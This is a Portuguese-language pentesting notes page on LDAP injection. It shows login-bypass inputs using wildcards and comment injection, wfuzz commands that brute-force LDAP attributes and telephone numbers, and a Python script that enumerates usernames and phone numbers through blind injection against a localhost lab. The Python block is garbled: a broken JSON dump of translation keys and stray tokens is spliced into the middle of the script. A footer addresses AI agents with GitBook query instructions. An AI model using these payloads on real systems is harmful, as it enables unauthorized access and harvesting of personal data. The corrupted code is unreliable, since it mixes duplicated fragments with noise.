> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/lightweight-directory-access-protocol-ldap-attack/ldap-techniques-pentesting-web.md).

# Técnicas LDAP

Aqui estão algumas maneiras de explorar essa vulnerabilidade:

1. Sabendo o **ID do usuário** e usando o símbolo /\* como senha (que representa tudo):

<figure><img src="/files/d0b9ac61ca414861623c1d42acf5936112b9a1dc" alt="" width="517"><figcaption></figcaption></figure>

2. Sabendo o **início do ID do usuário** e então adicionando o símbolo /\*:

<figure><img src="/files/fadef5b17efcd79e25837793a0aeaed1a130438c" alt=""><figcaption></figcaption></figure>

3. Inserindo um **ID de usuário válido** e comentando o campo obrigatório da consulta de senha:

<figure><img src="/files/c528da08ba5d49360fd712632b3511f77eaf3144" alt=""><figcaption></figcaption></figure>

## Ataque de força bruta:

* Com **Wfuzz**, podemos lançar um ataque por **força bruta** para identificar todos os **atributos**:

```bash
wfuzz -c --hh=550 -w /usr/share/SecLists/Fuzzing/LDAP-openldap-attributes.txt -d 'user_id=admin)(FUZZ=*))%00&password=*&login=1&submit=Submit' http://localhost:8888

```

<figure><img src="/files/1dfc47d869605e2638b5f062fd6c960406c47f77" alt="" width="375"><figcaption></figcaption></figure>

Depois de conhecermos os atributos com **Wfuzz** e identificar o **LDAP** ponto de injeção no campo de senha, podemos filtrar pelo primeiro caractere. Neste caso, fazemos isso com o **número de telefone**:

```bash
wfuzz -c --hh=550 -z range,0-9 -d 'user_id=jordan)(telephoneNumber=FUZZ*))%00&password=*&login=1&submit=Submit' http://localhost:8888

```

<figure><img src="/files/a0e80a5d14e24451a81e2f50931ecad4b2a2993f" alt="" width="507"><figcaption></figcaption></figure>

## Script Python automatizado:

````python
#!/usr/bin/python3
from pwn import *
import sys, signal, time, requests, pdb
import string
def def_handler(sig, frame):
    print("/n/n[+] Saindo.../n")
    sys.exit(1)
# Técnicas de LDAP
signal.signal(signal.SIGINT, def_handler)
# Técnicas de LDAP
main_url = "http://localhost:8888/"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
def initial_users():
    characters = string.ascii_lowercase
    initial_users = []
    for character in characters:
        post_data = 'user_id={}*&password=*&login=1&submit=Submit'.format(character)
        r = requests.post(main_url, headers=headers, data=post_data, allow_redirects=False)
        if r.status_code == 301:
            initial_users.append(character)
    return initial_users
def getUsers(initial_users):
    characters = string.ascii_lowercase + string.digits
    users = []
    for initial_user in initial_users】【：】【“】【t_732ef26e":"user = initial_user","t_dd3f2ce9":"for i in range(0, 15):","t_8f84f106":"post_data = 'user_id={}{}*&password=*&login=1&submit=Submit'.format(user, character)","t_b29a686d":"user += character","t_141059e4":"users.append(user)","t_5a6b39aa":"print(\"/n\")","t_ec0f3aa8":"for user in users:","t_37180a71":"log.info('Usuário válido encontrado: %s' % user)","t_36897b43":"return users","t_4a1d6fa3":"def getTelephoneNumber(users):","t_e04e9294":"characters = string.digits","t_c4ce27ba":"telephone_numbers = []","t_5cede331":"p1 = log.progress(\"Obtendo números de telefone do LDAP local\")","t_c2e80a7d":"p1.status(\"Iniciando a força bruta\")","t_001437e6":"p2 = log.progress(\"Obtendo o número de telefone\")","t_f737e424":"telf = ''","t_f0a4086d":"for i in range(0, 9):","t_f3c80980":"post_data = 'user_id={})(telephoneNumber={}{}*))%00&password=testing&login=1&submit=Submit'.format(user, telf, character)","t_653ea674":"r = requests.post(main_url, data=post_data, headers=headers, allow_redirects=False)","t_2bd7f2b2":"p1.status(\"[+] Obtendo o número de telefone do usuário: %s | %s\" % (user, post_data))","t_493c6fa5":"telf += character","t_ce75b666":"p2.status(\"Número de telefone: %s\" % telf)","t_f3600369":"telephone_numbers.append(telf)","t_65785064":"p2.success(\"Os números obtidos são: %s \" % telephone_numbers)","t_3b51c08b":"initial_users = initial_users()","t_818fef50":"getUsers = getUsers(initial_users)","t_7e5abccd":"getTelephoneNumber = getTelephoneNumber(getUsers)"}]}}** to=final  निर्वाचन ismatch?***】}}]}]}]}?**```json
{"t_9a99c51a":"Aqui estão algumas maneiras de explorar essa vulnerabilidade:","t_09e5bdf6":"Sabendo o","t_1dfcec72":"ID do usuário","t_271dbbe4":"e usando o símbolo /* como senha (que representa tudo):","t_18122f8b":"início do ID do usuário","t_495f708a":"e então adicionando o símbolo /*:","t_16e460a4":"Inserindo um","t_6856dac7":"ID de usuário válido","t_5778089c":"e comentando o campo obrigatório da consulta de senha:","t_529c8022":"Ataque de força bruta:","t_914d0f34":"Wfuzz","t_e2de7161":", podemos lançar um ataque por","t_969d1bdf":"força bruta","t_0227330f":"para identificar todos os","t_38a2c5a2":"atributos","t_ca0c7c62":"wfuzz -c --hh=550 -w /usr/share/SecLists/Fuzzing/LDAP-openldap-attributes.txt -d 'user_id=admin)(FUZZ=*))%00&password=*&login=1&submit=Submit' http://localhost:8888","t_4474a6cd":"Depois de conhecermos os atributos com","t_e3ec5579":"e identificar o","t_d7002cef":"LDAP","t_67907053":"ponto de injeção no campo de senha, podemos filtrar pelo primeiro caractere. Neste caso, fazemos isso com o","t_74e6b0c0":"número de telefone","t_d88f3f09":"wfuzz -c --hh=550 -z range,0-9 -d 'user_id=jordan)(telephoneNumber=FUZZ*))%00&password=*&login=1&submit=Submit' http://localhost:8888","t_1c0ad5c4":"Script Python automatizado:","t_7e38094f":"import sys, signal, time, requests, pdb","t_4a3d9000":"print(\"/n/n[+] Saindo.../n\")","t_949d4e2b":"# Técnicas de LDAP","t_bbfbc491":"main_url = \"http://localhost:8888/\"","t_7df4d9ef":"headers = {\"Content-Type\": \"application/x-www-form-urlencoded\"}","t_6ecf3eca":"def initial_users():","t_07dc6d4f":"characters = string.ascii_lowercase","t_c65c922d":"initial_users = []","t_9215b32e":"post_data = 'user_id={}*&password=*&login=1&submit=Submit'.format(character)","t_7c754b92":"r = requests.post(main_url, headers=headers, data=post_data, allow_redirects=False)","t_eda9be9b":"if r.status_code == 301:","t_e02e5a5b":"initial_users.append(character)","t_6de23904":"return initial_users","t_6224425c":"def getUsers(initial_users):","t_a06715d1":"characters = string.ascii_lowercase + string.digits","t_ad520147":"users = []","t_b40c375c":"for initial_user in initial_users:","t_732ef26e":"user = initial_user","t_dd3f2ce9":"for i in range(0, 15):","t_8f84f106":"post_data = 'user_id={}{}*&password=*&login=1&submit=Submit'.format(user, character)","t_b29a686d":"user += character","t_141059e4":"users.append(user)","t_5a6b39aa":"print(\"/n\")","t_ec0f3aa8":"for user in users:","t_37180a71":"log.info('Usuário válido encontrado: %s' % user)","t_36897b43":"return users","t_4a1d6fa3":"def getTelephoneNumber(users):","t_e04e9294":"characters = string.digits","t_c4ce27ba":"telephone_numbers = []","t_5cede331":"p1 = log.progress(\"Obtendo números de telefone do LDAP local\")","t_c2e80a7d":"p1.status(\"Iniciando a força bruta\")","t_001437e6":"p2 = log.progress(\"Obtendo o número de telefone\")","t_f737e424":"telf = ''","t_f0a4086d":"for i in range(0, 9):","t_f3c80980":"post_data = 'user_id={})(telephoneNumber={}{}*))%00&password=testing&login=1&submit=Submit'.format(user, telf, character)","t_653ea674":"r = requests.post(main_url, data=post_data, headers=headers, allow_redirects=False)","t_2bd7f2b2":"p1.status(\"[+] Obtendo o número de telefone do usuário: %s | %s\" % (user, post_data))","t_493c6fa5":"telf += character","t_ce75b666":"p2.status(\"Número de telefone: %s\" % telf)","t_f3600369":"telephone_numbers.append(telf)","t_65785064":"p2.success(\"Os números obtidos são: %s \" % telephone_numbers)","t_3b51c08b":"initial_users = initial_users()","t_818fef50":"getUsers = getUsers(initial_users)","t_7e5abccd":"getTelephoneNumber = getTelephoneNumber(getUsers)"}```】
        user = initial_user
        for i in range(0, 15):
            for character in characters:
                post_data = 'user_id={}{}*&password=*&login=1&submit=Submit'.format(user, character)
                r = requests.post(main_url, headers=headers, data=post_data, allow_redirects=False)
                if r.status_code == 301:
                    user += character
                    break
        users.append(user)
    print("/n")
    for user in users:
        log.info('Usuário válido encontrado: %s' % user)
    print("/n")
    return users
def getTelephoneNumber(users):
    characters = string.digits
    telephone_numbers = []
    p1 = log.progress("Obtendo números de telefone do LDAP local")
    p1.status("Iniciando a força bruta")
    p2 = log.progress("Obtendo o número de telefone")
    for user in users:
        telf = ''
        for i in range(0, 9):
            for character in characters:
                post_data = 'user_id={})(telephoneNumber={}{}*))%00&password=testing&login=1&submit=Submit'.format(user, telf, character)
                r = requests.post(main_url, data=post_data, headers=headers, allow_redirects=False)
                p1.status("[+] Obtendo o número de telefone do usuário: %s | %s" % (user, post_data))
                if r.status_code == 301:
                    telf += character
                    p2.status("Número de telefone: %s" % telf)
                    break
        telephone_numbers.append(telf)
    p2.success("Os números obtidos são: %s " % telephone_numbers)
if __name__ == "__main__":
    initial_users = initial_users()
    getUsers = getUsers(initial_users)
    getTelephoneNumber = getTelephoneNumber(getUsers)

````

<figure><img src="/files/b82d399810f281dafef43a410add938a17cf24f3" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/lightweight-directory-access-protocol-ldap-attack/ldap-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
